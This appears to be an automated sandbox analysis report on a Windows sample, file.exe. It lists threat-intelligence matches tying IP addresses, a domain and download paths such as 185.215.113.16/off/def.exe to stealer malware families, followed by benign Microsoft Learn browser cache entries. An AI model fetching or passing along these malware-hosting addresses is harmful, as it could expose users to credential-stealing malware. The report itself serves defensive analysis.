Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, onedscolprdeus09.eastus.cloudapp.azure.com, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.micr
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
23:11:19	API Interceptor	46x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by Microsoft for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: u, n, k, n, o, w, n

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
property-imper.sbs	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	2fQ8fpTWAP.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.162.84
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	4yOuoT4GFy.exe	Get hash	malicious	AsyncRAT	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.63
	CZxDiTktSY.exe	Get hash	malicious	XWorm	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	172.65.2.111
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	172.66.116.184
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	1.8.81.73
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.29.231.51
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
MICROSOFT-CORP-MSN-AS-BLOCKUS	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.63.240.220
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.48.158.87
	file.exe	Get hash	malicious	Amadey	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.178.243.172
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.169.151.115
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	51.140.216.20
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	72.147.99.1
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	51.53.14.94
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.199.87.5
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	4yOuoT4GFy.exe	Get hash	malicious	AsyncRAT	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	https://lifetraces.org/spo/priv/auth/login.php	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 184.30.17.174
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 184.30.17.174
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Cryptbot	Browse	104.21.33.116

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Reputation:	low
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
